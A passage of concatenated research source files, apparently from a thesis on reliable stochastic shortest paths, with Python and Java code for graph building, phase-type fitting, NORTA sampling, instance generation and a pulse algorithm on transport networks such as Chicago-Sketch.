DG,SG,SG_PH,pos=creates_graphs(city)
G=nx.DiGraph()
for i,j in SG_PH.edges():
G.add_edge(i,j,Time=SG_PH[i][j]["Time"],Cost=SG_PH[i][j]["Cost"],tmin=SG_PH[i][j]["tmin"],T=SG_PH[i][j]["tRV"].T.tolist(),alpha=SG_PH[i][j]["tRV"].alpha.tolist())
nx.write_gpickle(G, r"C:\Users\<NAME> M\OneDrive - Universidad de Los Andes\Thesis\2. Methodology\2.2 S-Pulse Algorithm\S-PULSE implementation\Code_S-pulse\Notebooks\siouxfalls.gpickle")
#print(pos)
cities=["SiouxFalls",'Chicago-Sketch','GoldCoast','Philadelphia','Sydney']
cities=cities[1:2]
for city in cities:
read_results(city,5)
sum_up_fits(city)
<file_sep>import scipy.stats as sts
import numpy as np
import networkx as nx
import time
import matplotlib.pyplot as plt
import os
from norta import *
from functools import partial
#given a covariance matrix, a list of distributions, and a list with the parameters of each distributions generates n random samples of the random vector with those distributions and with tath covariance matrix.
def Cor_gen(cov,distrs, params,n):
#print('Estoy por aca...')
distrs=[getattr(sts, l) for l in distrs]
t=time.time()
Finv=[]
def inv (d,par, x):
return d.ppf(x, *par)
for i,d in enumerate(distrs):
par=params[i][:]
Finv.append(partial(inv,d,par))
#print(cov)
return NORTA(Finv, cov).gen(n=n)
'''
C=np.array([[1.,0.47155524, 0.4485085],
[0.47155524, 1., 0.67380935],
[0.4485085, 0.67380935, 1. ]])
C=np.eye(3)
print(C)
distrs=['lognorm','exponweib','burr']
params=[(2.374041293269499, -4.091759500327035e-25, 0.6057170920291481),(1.1935943026668159, 0.42895706224152175, -1.1535381722452478e-31, 0.9509420889710204),(165.91864571958797, 5826.322971606714, -4450.197844202376, 4254.579554419175)]
distrs=[getattr(sts, l) for l in distrs]
#print(help(partial))
Finv=[]
EX=[l.mean(*params[i]) for i,l in enumerate(distrs)]
print(EX)
SD=[l.var(*params[i])**(1/2) for i,l in enumerate(distrs)]
print(SD)
#scen=[sum(k) for k in dat]
#print(scen)
EX=[l.mean(*params[i]) for i,l in enumerate(distrs)]
SD=[l.var(*params[i])**(1/2) for i,l in enumerate(distrs)]
Finv=[]
def inv (d,par, x):
return d.ppf(x, *par)
for i,d in enumerate(distrs):
par=params[i][:]
Finv.append(partial(inv,d,par))
d=len(C)
CovX=np.zeros((d,d))
for i in range(d):
for j in range(i,d):
CovX[i,j]=C[i,j]*SD[i]*SD[j]
CovX[j,i]=C[i,j]*SD[i]*SD[j]
norta_data = fit_NORTA_CovX(CovX=CovX, EX=EX, F_invs=Finv,output_flag=1)
NG = norta_data.gen(1000)
print(NG.mean(axis=0), EX)
print(np.corrcoef(NG, rowvar=0))
print(np.cov(NG, rowvar=False))
print(CovX)
'''
"""
Example of using NORTA
"""
'''
np.random.seed(0)
n_sample = 100
d_sample = 3
cov_sample = np.eye(d_sample) + np.random.rand(d_sample, d_sample)
sim_cov = cov_sample.transpose().dot(cov_sample)
print(cov_sample)
print(sim_cov)
data = np.random.exponential(size=(n_sample, d_sample)) + np.random.multivariate_normal(np.zeros(d_sample), sim_cov, size=n_sample)
n = len(data)
d = len(data[0])
norta_data = fit_NORTA(data, n, d-1, output_flag=1)
NG = norta_data.gen(1000)
print(NG.mean(axis=0), data.mean(axis=0))
print(np.corrcoef(NG, rowvar=0))
print(np.corrcoef(data, rowvar=0))
print(np.cov(NG, rowvar=False))
print(np.cov(data, rowvar=False))
'''
<file_sep>'''
This file creates the insatnces for the given city
'''
import os,sys,networkx as nx,random as rnd, numpy as np,time
sys.path.append(os.path.abspath(f'../../SaRP_Pulse_Python/src'))
from pulse import *
from Fitter import *
global city,DG,pairs,tightness,alpha,SCEN,INDEP,experim
cities='SiouxFalss','Chicago-Sketch','GoldCoast','Philadelphia','Sydney'
SCEN='Scenarios'
INDEP='Independent'
def creates_graphs():
'''
Creates a networkx graph for shortest path pourpuses.
'''
global DG
DG=nx.DiGraph()
##########################
#Creates deterministic graph
file1 = open(f'{city}/{city}_net.txt','r')
for x in file1:
x=x[:-1].split('\t')
#print(x)
if x[0]!='Tail':
x=list(map(float,x))
DG.add_edge(int(x[0]),int(x[1]),Cost=x[2],Time=x[3],tmin=x[4])
file1.close()
def createPairs():
'''
Creates possible (s,t) pairs
'''
global pairs
sp=dict(nx.shortest_path_length(DG,weight='Cost'))
pairs={i:max(sp[i].keys(),key=lambda x:sp[i][x]) for i in sp.keys()}
def createPair(s,k=50):
'''
for a given node s returns a target node
Args:
s(int): source node
k(int): Optional for choosing the k-th farthest nodes from s randomly
return:
t(int): target node
'''
sp=nx.shortest_path_length(DG,source=s,weight='Cost')
longest=sorted(sp.keys(),key=lambda x:-sp[x])[:k]
return rnd.choice(longest)
def createRandomInst(n,wb='w'):
'''
Creates n random instances for the SaRP
Args:
n(int): Number of insances to create
wb(String): type of the file for printing the instances: 'r' read, 'w' write...
Return:
None
'''
f=open(f'{city}/{experim}/Instances/i.txt',wb)
f.write(f'{"#"*40}\n#{n} instances for alpha {alpha} and cv {CV}\n{"#"*40}\n')
for i in range(n):
s=rnd.choice(list(DG.nodes()))
t=createPair(s)
tL,tU=calcTMax(s,t)
f.write(f'{s}\t{t}\t{tL}\t{tU}\n')
f.close()
def calcTMax1(s,t,timelimit=200):
'''
Computes an interesting TMax for the SaRP problem from s to t
Args:
s(int):Source node.
t(int):Target node.
Return:
Tmax(double):Time budget for s,t pair.
'''
PG=pulse_graph(G=DG,T_max=None,source=s, target=t,tightness=1)
pulse_path,pulse_cost,pulse_sol_time=PG.run_pulse()
T_max=PG.T_max
T_max_star=T_max
##############################################################################
#To do: While the relaiability of the path from the CSP is greater than tightness, reduce the time constraint and find again this path.
stop=False
delta=0.8
try:
S_pat=nx.shortest_path(DG,s,t,'Time')
except:
stop=True
time_creit=time.time()
while not stop:
rho=eval_path(pulse_path,T_max)
sp_rho=eval_path(S_pat,T_max)
print("se tiene que , ",rho,sp_rho,T_max,S_pat)
if rho!=0:
T_max_star=T_max
if rho<tightness and sp_rho>=inf_tightness:
stop=True
pri=True
elif sp_rho>=inf_tightness:
T_max=T_max*delta
PG=pulse_graph(G=DG,T_max=T_max,source=s, target=t)
pulse_path,pulse_cost,pulse_sol_time=PG.run_pulse()
T_max=PG.T_max
elif sp_rho<=inf_tightness:
T_max=T_max*(1/0.9)
delta=delta +0.5*(1-delta)
#T_max=T_max*delta
PG=pulse_graph(G=DG,T_max=T_max,source=s, target=t)
pulse_path,pulse_cost,pulse_sol_time=PG.run_pulse()
T_max=PG.T_max
if time.time()-time_creit>=timelimit:
stop=True
return T_max_star
def calcTMax(s,t):
'''
Computes Time budget using the empirical distribution of the shortest time path
Args:
s(int):source node.
t(int):target node.
Return:
TMax(double):Time budget for (s,t) pair.
'''
spT=nx.shortest_path(DG,s,t,'Time')
spC=nx.shortest_path(DG,s,t,'Cost')
TspT=alphaQuantile(list(zip(spT[:-1],spT[1:])),alpha)
TspC=alphaQuantile(list(zip(spC[:-1],spC[1:])),alpha)
# TMed=TspT+(TspC-TspT)/2
# PG=pulse_graph(G=DG,T_max=TMed,source=s, target=t,tightness=1)
# pulse_path,pulse_cost,pulse_sol_time=PG.run_pulse()
# prob=eval_path(pulse_path,TMed)
# if prob>alpha:
# TspC=TMed
# print(spC,prob,sep='\n')
return TspT, TspC
def alphaQuantile(arcs,a):
'''
Computes the alpha-Quantile for the given arcs
Args:
arcs(list):Arcs to compute Quantile.
a(double):Quantile to compute.
Return:
aQuantile(double):Alpha quantile for given arcs.
'''
data=readRealizations(arcs)
tmin=sum(DG[i][j]['tmin'] for i,j in arcs)
#print(list(data))
#ph,loglike=get_PH_HE(list(data),10)
#print('ph10 da:', ph.cdf(np.quantile(data,a)),f'\nT es: {tmin+np.quantile(data,a)}')
# print('La mean es: ',sum(data)/len(data))
# print('el tmin es: ',tmin)
return tmin+np.quantile(data,a)
def readRealizations(arcs):
'''
Reads the historical data for the given arcs
Args:
arcs(list): list of arcs to query
Return:
data(np.array: sum of the arc travel times
'''
if experim==SCEN:
f=open(f'{city}/{experim}/data/scenTotal.txt')
else:
f=open(f'{city}/{experim}/CV{CV}/data_cv{CV}.txt')
def readLine(l):
l=l.replace('\n','').split('\t')
i,j=tuple(map(int,l[:2]))
data=list(map(float,l[-1].replace('[','').replace(']','').split(', ')))
return i,j,np.array(data)
i,j,data=readLine(f.readline())
if (i,j) not in arcs:
data-=data
for l in f:
i,j,datai=readLine(l)
if (i,j) in arcs:
data+=datai
return data
def eval_path(path1,pT_max):
'''
Computes the historical reliability of the given path
Args:
path(list):Pth to evaluate
pT_max(double): Time to compyte the reliability (P(t(p)<T))
Return:
reliability(double):Reliability of the given path (P(t(p)<T)).
'''
if len(path1)>0:
pat=list(zip(path1[:-1],path1[1:]))
data=readRealizations(pat)
tmin=sum(int(DG[i][j]['tmin']) for i,j in pat)
ind=list(map(lambda x: x<=pT_max-tmin,data))
prob= sum(ind)/len(data)
if len(pat)==0:
prob=0
ph,loglike=get_PH_HE(list(data),25)
# print('El tmin es: ',tmin)
# print("La calculo con: ",pT_max-tmin)
print('prob ph: ',ph.cdf(pT_max-tmin))
# print(ph.alpha,"\n",ph.T)
# print('ph10 da:', ph.cdf(pT_max-tmin))
# #print('El valE es: ',ph.T)
# print('El valE es: ',np.mean(data))
return prob
else:
return 0
if __name__ == '__main__':
########################################################
'''
Setting of some global parameters
'''
city=cities[1]
creates_graphs()
alpha=0.8
CV=0.8
experim=INDEP #If creating instances for Independen experiments or Scenario experiments
########################################################
rnd.seed(1)
createRandomInst(n=100,wb='w')
<file_sep>#http://www.bgu.ac.il/~bargera/tntp/
#https://data.cityofchicago.org/Transportation/Chicago-Traffic-Tracker-Historical-Congestion-Esti/sxs8-h27x/data
import sys
from os import path
sys.path.append(path.abspath(r'C:\Users\d.corredor\OneDrive - Universidad de los andes\Thesis\2. Methodology\2.2 S-Pulse Algorithm\S-PULSE implementation\Code_S-pulse'))
#sys.path.insert(1, r'C:\Users\<NAME> M\OneDrive - Universidad de Los Andes\Thesis\2. Methodology\2.2 S-Pulse Algorithm\S-PULSE implementation\Code_S-pulse')
from PhaseType import *
from Fitter import *
import networkx as nx
import os
import matplotlib.pyplot as plt
import math
import numpy as np
import s_pulse_MC as MC
import s_pulse as PH_pulse
from PhaseType import *
from Fitter import *
from pulse import *
import scipy.stats as st
import networkx as nx
import time
import numpy as np
from mpmath import *
import random
import pandas as pd
import csv
import datetime
from shapely.geometry import Point
#print(help(pd.read_csv))
#data =pd.read_csv(r'times.csv')
#print(data.head(10) )
#print(10)
def df_empty(columns, dtypes, index=None):
assert len(columns)==len(dtypes)
df = pd.DataFrame(index=index)
for c,d in zip(columns, dtypes):
df[c] = pd.Series(dtype=d)
return df
def import_k_f(k):
dtypes=['datetime64[ns, UTC]',int,float,str,str,str,str,float,str,str,int,int,int,int,int,str,float,float,float,float,'O','O']
dtypesf=[lambda x:datetime.datetime.strptime(x, '%m/%d/%Y %I:%M:%S %p'),int,float,str,str,str,str,float,str,str,int,int,int,int,int,str,float,float,float,float,eval,eval]#,lambda x:Point(float(x))
print(len(dtypes))
print(dtypes)
with open('times.csv') as csv_file:
csv_reader = csv.reader(csv_file, delimiter=',')
line_count = 0
for row in csv_reader:
if line_count == 0:
#print(f'Column names are {", ".join(row)}')
print(len(row))
print(row)
line_count += 1
col_names=row
df=df_empty(row,dtypes)
print(df.head())
else:
#print(f'\t{row[0]} works in the {row[1]} department, and was born in {row[2]}.')
#print(row)
jj=0
for (k,r,f) in zip(col_names,row,dtypesf):
print(k)
print(k,f(r))
jj+=1
print(jj)
df=df.append({k:f(r) for (k,r,f) in zip(col_names,row,dtypesf)},ignore_index=True)
line_count += 1
if line_count==k:
print(df.head(k))
break
print(f'Processed {line_count} lines.')
import_k_f(10)
<file_sep>import os
import openpyxl as xl
global wb,sheet,city,nScens,nInstances,tightness
def openWb(name):
'''
Description
Args:
arg1(type):description.
Return:
Return(type):description.
'''
global wb
try:
wb=xl.load_workbook(f'{name}.xlsx')
except:
wb=xl.Workbook()
wb.save(f'{name}.xlsx')
def modSheet(pSheet):
'''
ROUTINE:
modSheet(pSheet)
PURPOSE:
Cambia la hoja activa a la hoja pasada por parámetro. Si no hay ningúna hoja con dicho nombre la crea.
ARGUMENTS:
pSheet(string): El nombre de la hoja que se quiere activar
RETURN VALUE:
None
EXAMPLE:
modSheet('Hoja1')
'''
global sheet
try:
sheet=wb[pSheet]
return sheet
except:
wb.create_sheet(pSheet)
sheet=wb[pSheet]
return sheet
def analyze(nPhases):
'''
Description
Args:
arg1(type):description.
Return:
Return(type):description.
'''
openWb('summary')
cTimes = modSheet(f'compTimes{tightness}')
cost = modSheet(f'objFun{tightness}')
rel = modSheet(f'reliability{tightness}')
scens=list(range(1,nScens+1))
files={s:open(f'PHFit{nPhases}_{tightness}/scen{s}.txt') for s in scens}
laux={s:None for s in scens}
insts=readInstances()
r=3
for s,t in insts.keys():
col=2
for sc in scens:
if not laux[sc]:
l=files[sc].readline().replace('\n','').split('\t')
# print(l)
else:
l=laux[sc]
nums=list(map(float,l[:-1]))
if l!=['']:
if nums[0]==s and nums[1]==t:
cTimes.cell(r,col).value=nums[2]
cost.cell(r,col).value=nums[3]
rel.cell(r,col).value=nums[5]
laux[sc]=None
else:
laux[sc]=l
col+=1
r+=1
wb.save(f'summary.xlsx')
def readInstances():
'''
Description
Args:
arg1(type):description.
Return:
Return(type):description.
'''
f=open(f'../../../data/Networks/{city}/Scenarios/Instances/i.txt')
insts={}
for l in f:
if l[0]!='#':
n=list(map(float,l.replace('\n','').split('\t')))
insts[n[0],n[1]]=n[2]
f.close()
return insts
if __name__ == '__main__':
########################################################
'''
Setting of some global parameters
'''
city='Chicago-Sketch'
nScens=5
nInstances=40
nPhases=3
tightness=0.2
########################################################
for tightness in [0.2,0.8]:
analyze(nPhases)
<file_sep>#http://www.bgu.ac.il/~bargera/tntp/
import sys
sys.path.insert(1, r'C:\Users\<NAME>\Desktop\Thesis\2. Methodology\2.2 S-Pulse Algorithm\S-PULSE implementation\Code_S-pulse')
from PhaseType import *
from Fitter import *
import networkx as nx
import os
import matplotlib.pyplot as plt
import math
import numpy as np
from s_pulse import *
from PhaseType import *
from Fitter import *
from pulse import *
import scipy.stats as sts
import networkx as nx
import time
import numpy as np
from mpmath import *
def read(instance):
os.chdir(r'C:\Users\<NAME>\Desktop\Thesis\3. Case_study\Chicago\TransportationNetworks-master\Chicago-Sketch')
G=nx.DiGraph()
f=open('ChicagoSketch_node.tntp')
pos={}
for x in f:
if x[:4]!='node':
x=list(map(int,x[:-3].split("\t")))
G.add_node(x[0])
pos[x[0]]=(x[1],x[2])
f.close()
f=open('ChicagoSketch_net.tntp')
for x in f:
x=x[1:-3].split("\t")
#print(x)
t=True
try:
type(int(x[0]))
except Exception as e:
t=False
if t:
G.add_edge(int(x[0]),int(x[1]),cap=int(x[2]),leng=float(x[3]),fftt=float(x[4])*60,B=float(x[5]),pow=float(x[6]))
f.close()
f=open('ChicagoSketch_flow.tntp')
for x in f:
x=x.split('\t')
t=True
try:
type(int(x[0]))
except Exception as e:
t=False
if t:
G[int(x[0])][int(x[1])]["cost"]=int(float(x[3][:-3])*100)
G[int(x[0])][int(x[1])]["flow"]=int(float(x[2][:-1]))
f.close()
edg=list(G.edges()).copy()
for i,j in edg:
if G[i][j]["fftt"]==0:
G[i][j]["fftt"]=60*(60*G[i][j]["leng"]/50)#(mph))
#Link travel time = free flow time * ( 1 + B * (flow/capacity)^Power ).**2
G[i][j]["time"]=G[i][j]["fftt"]*(1+G[i][j]["B"]*(G[i][j]["flow"]/G[i][j]["cap"])**G[i][j]["pow"])
G[i][j]["SD"]=max(1/2*(G[i][j]["time"]-G[i][j]["fftt"])*(G[i][j]["flow"]/G[i][j]["cap"]),5)
G[i][j]["cost"]=int(100*G[i][j]["cost"]*(G[i][j]["fftt"]/(G[i][j]["time"])) )
#print(G[i][j])
'''
if G[i][j]["SD"]<=0.001:
G.remove_edge(i,j)
nod=list(G.nodes()).copy()
for i in nod:
if G.degree(i)==0:
G.remove_node(i)
'''
return(G,pos)
def write_txt(G,file,nPhases):
os.chdir(r'C:\Users\<NAME>\Desktop\Thesis\2. Methodology\2.2 S-Pulse Algorithm\SPulseD\networks')
file1 = open(file+'_fit_'+str(nPhases)+'.txt',"w")
cont=0
for i,j in G.edges():
phi=math.sqrt(G[i][j]["SD"]**2+ G[i][j]["time"]**2)
mu=math.log(G[i][j]["time"]**2/phi)
sigma=math.sqrt(math.log(phi**2/(G[i][j]["time"]**2)))
data = np.random.lognormal(mu,sigma, 100)
'''
if cont % 100==0:
plt.hist(data)
plt.show()
cont+=1
'''
tmin=min(data)
data=list(map(lambda x:max(0.0,x),data-G[i][j]["fftt"]))
ph=get_PH_HE(data,nPhases)
G[i][j]["alpha"]=ph.alpha.tolist()
G[i][j]["T"]=ph.T.tolist()
text=str(i)+";"+str(j)+";"+str(int(G[i][j]["cost"]))+";"+str(G[i][j]["fftt"])+";"+str([list(map(lambda x: round(float(x),10),k))[0]for k in G[i][j]["alpha"]])+";"+str([list(map(lambda x: round(float(x),10),k))for k in G[i][j]["T"]])+'\n'
print(text)
file1.write(text)
file1.close()
nx.write_gpickle(G,file+"_"+str(nPhases)+'.gpickle')
sfile="ChicagoSketch_3.gpickle"
print(os.getcwd())
G,pos=read("p")
os.chdir(r'C:\Users\<NAME> M\Desktop\Thesis\2. Methodology\2.2 S-Pulse Algorithm\SPulseD\networks')
G=nx.readwrite.gpickle.read_gpickle(sfile)
print(os.getcwd())
#write_txt(G,'ChicagoSketch',3)
###########
#Creates deterministic graph and creates and solves an instance of the deterministic pulse graph
DG=nx.DiGraph()
for i,j in G.edges():
DG.add_edge(i,j,Cost=G[i][j]["cost"],Time=G[i][j]["time"])
SG=DG.copy()
for i,j in G.edges():
T=matrix(G[i][j]["T"])
al=matrix(G[i][j]["alpha"])
SG[i][j]["tRV"]=PH(T,al)
SG[i][j]["tmin"]=G[i][j]["fftt"]
nx.draw_networkx(DG,pos,node_size=10,node_color='black',with_labels=False,arrows=False)
plt.show()
alpha=0.95
source=900
target=200
tightness=0.5
PG=pulse_graph(G=DG,T_max=0,source=source, target=target,tightness=tightness,pos=pos)
pulse_path,pulse_cost,pulse_sol_time=PG.run_pulse()
SPG=s_pulse_graph(G=SG,T_max=PG.T_max,alpha=alpha,source=source,target=target)
#print(SPG.run_pulse())
print("Pulse")
print("cost \t Time \t path")
print(str(pulse_cost),"\t",str(pulse_sol_time),"\t",str(pulse_path))
print("T_max", PG.T_max)
print("cota", PG.bound)
print("Factibilidad", PG.infeas)
print("Dominancia", PG.dom)
p=[899, 897, 442, 896, 891, 884, 856, 855, 854, 877, 874, 873, 870, 867, 864, 732, 414, 726, 720, 714, 390, 391, 392, 393, 583, 767, 756, 745, 199]
p=[i+1 for i in p]
print(len(p))
'''
The final path is: [899, 897, 442, 896, 891, 884, 856, 855, 854, 877, 874, 873, 870, 867, 864, 732, 414, 726, 720, 714, 390, 391, 392, 393, 583, 767, 756, 745, 199]
The total cost is: 4237.0
The time limit is: 12271.0sec
The time limit is: 204.51666666666668min
The probability of arriving in time is: 0.9764589854383421
The computational time is: 3663.4220287 s
'''
#print("la prob es: ", SPG.prob_path( PG.Fpath,PG.T_max))
PG.draw_graph(path2=p)
#def montecarlo(n_it,path):
<file_sep>
import networkx as nx
import numpy as np
from matplotlib import pyplot as plt
import matplotlib
from matplotlib import cbook, docstring, rcParams
import pylab
import matplotlib.animation
from scipy.linalg import expm, sinm, cosm
import math
import time as tiemm
class pulse_graph():
"""docstring for pulse_graph"""
def __init__(self, G,T_max,source,target,tightness=0.5,pos=[]):
super(pulse_graph, self).__init__()
self.G = G
self.Primal_Bound=float("inf")
self.Fpath=[]
self.Resource=0
self.T_max=T_max
self.source=source
self.target=target
self.anim=[]
self.pos=pos
self.bound=0
self.infeas=0
self.dom=0
self.tightness=tightness
def calc_cost(self,p):
edges=zip(p,p[1:])
cost=0
time=0
for (i,j) in edges:
cost+=self.G[i][j]["Cost"]
time+=self.G[i][j]["Time"]
return (cost, time)
#Preprocess the graph labeling every node with the shortest cost to the end node (target)
def preprocess(self):
p=nx.shortest_path_length(self.G,weight="Cost",target=self.target)
attrs={i:{"labels":[],"s_cost":p[i]} for i in p.keys()}
attrs.update({i:{"labels":[],"s_cost":float("inf")} for i in self.G.nodes() if i not in p.keys()})
nx.set_node_attributes(self.G, attrs)
t=nx.shortest_path_length(self.G,weight="Time",target=self.target)
attrs={i:{"s_time":t[i]} for i in p.keys()}
attrs.update({i:{"s_time":float("inf")} for i in self.G.nodes() if i not in p.keys()})
nx.set_node_attributes(self.G, attrs)
#self.minimum_time=attrs[self.source]["s_time"]
if self.T_max==None:
try:
self.T_max=t[self.source]*(1+self.tightness)
except:
print("Infeasible")
for i in self.G.nodes:
self.G.nodes[i]["labels"]=[]
#Check Dominance
def C_Dominance(self,vk,c,t):
bool=True #We assume that the current path passes the dominance check (i.e is not dominated)
for (i,(cc,tt)) in enumerate(self.G.nodes[vk]["labels"]):
if c>cc and t>tt:
bool=False
self.dom+=1
return bool
#Check Feasibility
def C_Feasibility(self,vk,t):
bool=True #We assume that the current path passes the Feasibility check (i.e is feasible)
if t+self.G.nodes[vk]["s_time"]>self.T_max:
bool=False
self.infeas+=1
return bool
#Check Bounds
def C_Bounds(self,vk,c):
bool=True #We assume that the current path passes the primal_Bound check (i.e in the bes casenario the path is better than the PB)
if c+self.G.nodes[vk]["s_cost"]>self.Primal_Bound:
#print("bound")
bool=False
self.bound+=1
return bool
#Check path completion
def path_completion(self,vk,c,t,P):
bool=True #We assume that the current path passes the path_completion check (i.e is not possible to complete the path)
if (c + self.G.nodes[vk]["s_cost"]<self.Primal_Bound) and (t+self.G.nodes[vk]["s_time"]<=self.T_max):
#self.update_primal_bound(c + self.G.nodes[vk]["s_cost"],t+self.G.nodes[vk]["s_time"],P)
bool=True
#print("its working")
return(bool)
#Update the labels of a given node vk
def update_labels(self,vk,c,t):
self.G.nodes[vk]["labels"].append((c,t))
def sort(self,sons):
return(sorted(sons,key=lambda x: self.G.nodes[x]["s_cost"] ))
def update_primal_bound(self,c,t,P):
if t<=self.T_max and c<=self.Primal_Bound:
self.Primal_Bound=c
self.Fpath=P
self.Resource=t
#print("Nuevo PB, costo: ",self.Primal_Bound,"tiempo: ",self.Resource)
def pulse(self,vk,c,t,P):
self.update_labels(vk,c,t)
if vk==self.target:
self.update_primal_bound(c,t,P+[vk])
#print("LLegue a ",vk, "Con tiempo de ",t, " Y costo de ",c)
if (self.C_Dominance(vk,c,t) and self.C_Feasibility(vk,t) and self.C_Bounds(vk,c) and self.path_completion(vk,c,t,P) and vk not in P):
PP=P.copy()
PP.append(vk)
for i in self.sort(self.G.successors(vk)):
cc=c+self.G.edges[vk,i]["Cost"]
tt=t+self.G.edges[vk,i]["Time"]
self.pulse(i,cc,tt,PP)
def run_pulse(self):
self.Fpath=[]
self.Primal_Bound=float("inf")
self.Resource=0
#print(self.Fpath)
self.preprocess()
if self.G.nodes[self.source]["s_cost"]!=np.Infinity:
self.pulse(self.source,0,0,self.Fpath)
else:
print("The instance is not feasible")
return self.Fpath, self.Primal_Bound,self.Resource
#Draws the graph with a given position and a given path
def draw_graph(self,path=[],bgcolor="white",edge_color="black",arc_color="gray",path_color="red"):
if self.pos==[]:
self.pos = nx.random_layout(self.G)
if path==[]:
path=self.Fpath
fig= plt.figure(figsize=(12,6))
edge_labels={e:(int(self.G.edges[e]["Cost"]),int(self.G.edges[e]["Time"])) for e in self.G.edges}
BGnodes=set(self.G.nodes()) - set(path)
nx.draw_networkx_edges(self.G, pos=self.pos, edge_color=arc_color)
null_nodes = nx.draw_networkx_nodes(self.G, pos=self.pos, nodelist=BGnodes, node_color=bgcolor)#node_size=1000
null_nodes.set_edgecolor(edge_color)
nx.draw_networkx_labels(self.G, pos=self.pos, labels=dict(zip(BGnodes,BGnodes)), font_color="black")
try:
query_nodes=nx.draw_networkx_nodes(self.G,pos=self.pos,nodelist=path,node_color=path_color)#,node_size=1000
query_nodes.set_edgecolor(path_color)
except:
pass
nx.draw_networkx_labels(self.G,pos=self.pos,labels=dict(zip(path,path)),font_color="black")
edgelist = [path[k:k+2] for k in range(len(path) - 1)]
nx.draw_networkx_edges(self.G, pos=self.pos, edgelist=edgelist, width=4,edge_color=path_color)
#Edge labels
nx.draw_networkx_edge_labels(self.G, self.pos, edge_labels = edge_labels )
plt.axis('off')
#plt.figure(num=None, figsize=(6, 3), dpi=80*3, facecolor='w', edgecolor='k')
#plt.show()
#return fig
'''
insts=["USA-road-BAY.txt","network10.txt"]
G=create_graph(insts[1], headder=False)
#PG=pulse_graph(G=G,T_max=3500,source=1,target=3301)
# 6236
#(4-5)*tiddes +tmin
PG=pulse_graph(G=G,T_max=9000,source=0,target=6236)
#pos=nx.spring_layout(G)
sol=PG.run_pulse()
print(sol)
#PG.draw_graph(path=sol[0])
'''
<file_sep>/**
* This is a class that holds all the relevant data for an instance.
*
* Ref.: <NAME>. and <NAME>. (2013).
* On an exact method for the constrained shortest path problem. Computers & Operations Research. 40 (1):378-384.
* DOI: http://dx.doi.org/10.1016/j.cor.2012.07.008
*
*
* @author <NAME> & <NAME>
* @affiliation Universidad de los Andes - Centro para la Optimizaci�n y Probabilidad Aplicada (COPA)
* @url http://copa.uniandes.edu.co/
*
*/
package Pulse;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.Random;
import java.util.StringTokenizer;
import jmarkov.*;
import jphase.*;
//import jphase.DenseContPhaseVar;
public class DataHandler {
/**
* Number of arcs
*/
int NumArcs;
/**
* Number of nodes
*/
static int NumNodes;
/**
* Destination node
*/
int LastNode;
/**
* Source node
*/
int Source;
/**
* All the arcs in the network stored in a vector where Arcs[i][0]= Tail for arc i and Arcs[i][1]= Head for arc i
*/
static int[][] Arcs;
/**
* The distance attribute for any arc i
*/
static int[] Distance;
/**
* The time attribute for any arc i
*/
static double[] Time;
//static DenseContPhaseVar[] Time;
/**
* Data structure for storing the graph
*/
private PulseGraph Gd;
private int networkId;
private String acro;
static int numLabels;
static Random r = new Random(0);
static double prob = 0.05;
/**
* Read data from an instance
* @param numNodes
* @param numArcs
* @param sourceNode
* @param lastNode
* @param netId
*/
public DataHandler(int numNodes, int numArcs, int sourceNode, int lastNode, int netId, String acronym) {
//Retrieves the information of the instance
NumArcs = numArcs;
NumNodes = numNodes;
LastNode = lastNode;
Source = sourceNode;
networkId = netId;
acro = acronym;
//Creates the list of arcs. A list of distances and a list of times --- Serian independientes del sentido de la red !
Arcs = new int[numArcs][2];
Distance = new int[numArcs];
Time = new double[numArcs];
//Time = new DenseContPhaseVar [numArcs];
//Creates the graph
Gd = new PulseGraph(NumNodes);
}
/**
* This procedure creates the nodes for the graph
*/
public void upLoadNodes(){
// All nodes are VertexPulse except the final node
for (int i = 0; i < NumNodes; i++) {
if(i!=(LastNode-1)){
Gd.addVertex(new VertexPulse(i) ); //Primero lo creo, y luego lo meto. El id corresponde al n�mero del nodo
}
}
// The final node is a FinalVertexPulse
FinalVertexPulse vv = new FinalVertexPulse(LastNode-1);
Gd.addFinalVertex(vv);
}
/**
* This procedure returns a graph
* @return the graph
*/
public PulseGraph getGd()
{
return Gd;
}
/**
* This procedure reads data from a data file in DIMACS format
* @throws NumberFormatException
* @throws IOException
*/
public void ReadDimacsF() throws NumberFormatException, IOException {
File file2 = null;
file2 = new File("./networks/"+acro);
BufferedReader bufRdr2 = new BufferedReader(new FileReader(file2));
String line2 = null;
int row2 = 0;
while ((line2 = bufRdr2.readLine()) != null && row2 < NumArcs) {
String[] Actual = line2.split(" ");
System.out.println(Actual[0]);
System.out.println(Actual[1]);
System.out.println(Actual[2]);
System.out.println(Actual[3]);
Arcs[row2][0] = Integer.parseInt(Actual[0])-1;
Arcs[row2][1] = Integer.parseInt(Actual[1])-1;
Distance[row2] = Integer.parseInt(Actual[2]);
Time[row2] = Double.parseDouble(Actual[3]);
//Time[row2] = Double.parseDouble(Actual[3]);
row2++;
}
}
/**
* This procedure reads data from a data file in DIMACS format
* @throws NumberFormatException
* @throws IOException
*/
public void ReadDimacsB() throws NumberFormatException, IOException {
File file2 = null;
file2 = new File("./networks/"+acro);
BufferedReader bufRdr2 = new BufferedReader(new FileReader(file2));
String line2 = null;
int row2 = 0;
while ((line2 = bufRdr2.readLine()) != null && row2 < NumArcs) {
String[] Actual = line2.split(" ");
Arcs[row2][1] = Integer.parseInt(Actual[0])-1;
Arcs[row2][0] = Integer.parseInt(Actual[1])-1;
Distance[row2] = Integer.parseInt(Actual[2]);
Time[row2] = Double.parseDouble(Actual[3]);
row2++;
}
}
}
<file_sep>import networkx as nx
from PhaseType import *
from Fitter import *
import scipy.stats as sts
import networkx as nx
import time
import numpy as np
import os
#Charges the graph from a txt file and creates a graph from networkx
#For the pulse algorithm
def create_graph_det(instancia,headder=True):
G=nx.DiGraph()
f = open(instancia, "r")
cont=0
if headder:
for x in f:
if cont >0:
#print(x)
x=list(map(float,x.split("\t")))
G.add_edge(int(x[0]),int(x[1]),Cost=x[2],Time=x[3])
#print(x)
cont+=1
else:
for x in f:
x=list(map(float,x.split("\t")))
G.add_edge(int(x[0]),int(x[1]),Cost=x[2],Time=x[3])
return(G)
#Creates a graph from the .txt file instancia, fits a PH with nPhases to each arc and saves a .gpickle file with the networkx graph
def is_diag(T):
eye=np.ones(len(T))-np.eye(len(T))
T=np.multiply(eye,T)
if sum(T)==0:
return True
else:
return False
#Reads a Grph from instance "Dimacs format" and generates a PH for the times of each arc.
def create_graph_stoch(nPhases,instancia,headder=True):
